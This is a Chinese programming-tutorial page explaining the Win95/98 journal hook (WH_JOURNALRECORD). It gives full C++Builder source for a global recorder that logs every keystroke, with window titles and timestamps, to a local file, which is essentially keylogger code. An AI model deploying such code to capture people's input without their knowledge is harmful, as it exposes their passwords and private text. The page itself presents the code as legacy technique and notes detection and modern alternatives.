首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> VC 教學

Win95/98 日誌鉤子 (WH_JOURNALRECORD) 實作鍵盤/滑鼠記錄器

     編輯:VC 教學

日誌鉤子特殊地位

  • 僅支援全域鉤子,系統中同一時間只能存在一個。
  • 發生在系統訊息佇列取出輸入訊息時(最早期)。
  • 不需放入 DLL,可直接在 EXE 中安裝(省去 DLL 注入麻煩)。
  • 回調簽名不同:JournalRecordProc(int nCode, WPARAM wParam, LPARAM lParam),lParam 指向 EVENTMSG 結構。

EVENTMSG 結構

typedef struct tagEVENTMSG {
    UINT  message;   // WM_KEYDOWN, WM_MOUSEMOVE, WM_LBUTTONDOWN 等
    UINT  paramL;    // 訊息參數低字 (虛擬鍵碼、滑鼠 X)
    UINT  paramH;    // 訊息參數高字 (滑鼠 Y)
    DWORD time;      // 事件時間戳
    HWND  hwnd;      // 目標視窗句柄
} EVENTMSG;

完整記錄器實作 (BCB4/Win98 驗證)

介面:兩個按鈕安裝/卸載

// 全域變數
HHOOK g_hLogHook = NULL;
HWND  g_hLastFocus = NULL;
const int KeyPressMask = 0x80000000;
char g_PrvChar = 0;

安裝/卸載按鈕

void __fastcall TForm1::Button1Click(TObject *Sender) // 安裝
{
    if (!g_hLogHook)
        g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,
                                      (HOOKPROC)JournalLogProc,
                                      HInstance, 0);
}

void __fastcall TForm1::Button2Click(TObject *Sender) // 卸載
{
    if (g_hLogHook) {
        UnhookWindowsHookEx(g_hLogHook);
        g_hLogHook = NULL;
    }
}

核心回調函數 JournalLogProc

HOOKPROC JournalLogProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode < 0)
        return CallNextHookEx(g_hLogHook, nCode, wParam, lParam);

    if (nCode == HC_ACTION) {
        EVENTMSG *pEvt = (EVENTMSG*)lParam;
        HWND hFocus = GetActiveWindow();
        FILE *stream = fopen("c:\\logfile.txt", "a+t");

        // 1. 視窗切換偵測:記錄時間、視窗標題
        if (g_hLastFocus != hFocus) {
            g_hLastFocus = hFocus;
            char szTitle[256], szTime[128];
            GetWindowText(hFocus, szTitle, 256);
            strcpy(szTime, DateTimeToStr(Now()).c_str());
            fprintf(stream, "\n%s  %s  ", szTime, szTitle);
        }

        // 2. 鍵盤事件處理
        if (pEvt->message == WM_KEYDOWN) {
            int vKey = LOBYTE(pEvt->paramL);
            int iShift = GetKeyState(VK_SHIFT);
            int iCaps  = GetKeyState(VK_CAPITAL);
            int iNum   = GetKeyState(VK_NUMLOCK);
            bool bShift = (iShift & KeyPressMask) == KeyPressMask;
            bool bCaps  = (iCaps & 1) == 1;
            bool bNum   = (iNum & 1) == 1;

            // 數字鍵 0-9
            if (vKey >= 0x30 && vKey <= 0x39) {
                if (!bShift) fputc(vKey, stream);
            }
            // 字母 A-Z
            else if (vKey >= 0x41 && vKey <= 0x5A) {
                char ch;
                if (!bCaps) {
                    ch = bShift ? vKey : vKey + 32;
                } else {
                    ch = bShift ? vKey + 32 : vKey;
                }
                fputc(ch, stream);
            }
            // 小鍵盤 0-9
            else if (vKey >= 0x60 && vKey <= 0x69) {
                if (bNum) fputc(vKey - 0x60 + 0x30, stream);
            }
            // 符號鍵 ; = , - . / ` [ \ ] '
            else if (vKey >= 0xBA && vKey <= 0xDE) {
                char ch = 0;
                switch (vKey) {
                    case 0xBA: ch = bShift ? ':' : ';'; break;
                    case 0xBB: ch = bShift ? '+' : '='; break;
                    case 0xBC: ch = bShift ? '<' : ','; break;
                    case 0xBD: ch = bShift ? '_' : '-'; break;
                    case 0xBE: ch = bShift ? '>' : '.'; break;
                    case 0xBF: ch = bShift ? '?' : '/'; break;
                    case 0xC0: ch = bShift ? '~' : '`'; break;
                    case 0xDB: ch = bShift ? '{' : '['; break;
                    case 0xDC: ch = bShift ? '|' : '\\'; break;
                    case 0xDD: ch = bShift ? '}' : ']'; break;
                    case 0xDE: ch = bShift ? '"' : '\''; break;
                }
                if (ch) fputc(ch, stream);
            }
            // 功能鍵/導航鍵 [BK][TAB][EN][SP][PU][PD][END][HOME][LF][UF][RF][DF][INS][DEL]
            else if (vKey >= 8 && vKey <= 46) {
                char *str = NULL;
                switch (vKey) {
                    case VK_BACK:   str = "[BK]"; break;
                    case VK_TAB:    str = "[TAB]"; break;
                    case VK_RETURN: str = "[EN]"; break;
                    case VK_SPACE:  str = "[SP]"; break;
                    case VK_PRIOR:  str = "[PU]"; break;
                    case VK_NEXT:   str = "[PD]"; break;
                    case VK_END:    str = "[END]"; break;
                    case VK_HOME:   str = "[HOME]"; break;
                    case VK_LEFT:   str = "[LF]"; break;
                    case VK_UP:     str = "[UF]"; break;
                    case VK_RIGHT:  str = "[RF]"; break;
                    case VK_DOWN:   str = "[DF]"; break;
                    case VK_INSERT: str = "[INS]"; break;
                    case VK_DELETE: str = "[DEL]"; break;
                }
                if (str && g_PrvChar != vKey) { // 去重
                    fputs(str, stream);
                    g_PrvChar = vKey;
                }
            }
        }

        // 3. 滑鼠點擊同步記錄視窗切換
        if (pEvt->message == WM_LBUTTONDOWN || pEvt->message == WM_RBUTTONDOWN) {
            if (g_hLastFocus != hFocus) {
                g_hLastFocus = hFocus;
                char szTitle[256], szTime[128];
                GetWindowText(hFocus, szTitle, 256);
                strcpy(szTime, DateTimeToStr(Now()).c_str());
                fprintf(stream, "\n%s  %s  ", szTime, szTitle);
            }
        }

        fclose(stream);
    }
    return CallNextHookEx(g_hLogHook, nCode, wParam, lParam);
}

輸出日誌範例


2023-10-15 14:30:25  記事本
Hello World[EN]
2023-10-15 14:31:10  計算機
12345[EN]

關鍵技術點總結

點說明
單一實例系統僅允許一個 WH_JOURNALRECORD,第二次安裝會失敗
同步阻塞回調執行期間系統輸入佇列暫停,嚴禁耗時操作 (此處 fopen/fprintf 為演示,生產環境需用非同步寫入)
無需 DLL最大優勢:EXE 直接安裝,適合輕量工具
權限Win9x 無限制;NT 系統需管理員權限或 UIAccess
反作弊/反記錄遊戲/安全軟體常檢測此鉤子,安裝即被視為可疑行為

現代替代方案

  • Raw Input API (RegisterRawInputDevices):獲取鍵盤/滑鼠/HID 原始資料,無鉤子副作用,支援多鍵盤/多滑鼠區分。
  • WH_KEYBOARD_LL / WH_MOUSE_LL (LowLevel Hooks):Win2000+ 支援,非同步、不阻塞輸入佇列,但需 DLL (全域) 或同執行緒。

JournalRecord Hook 流程圖

日誌鉤子雖屬舊技術,但在 Win9x 時代構建鍵盤記錄器、巨集錄製器是最輕量的選擇;現代開發請優先考慮 Raw Input。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved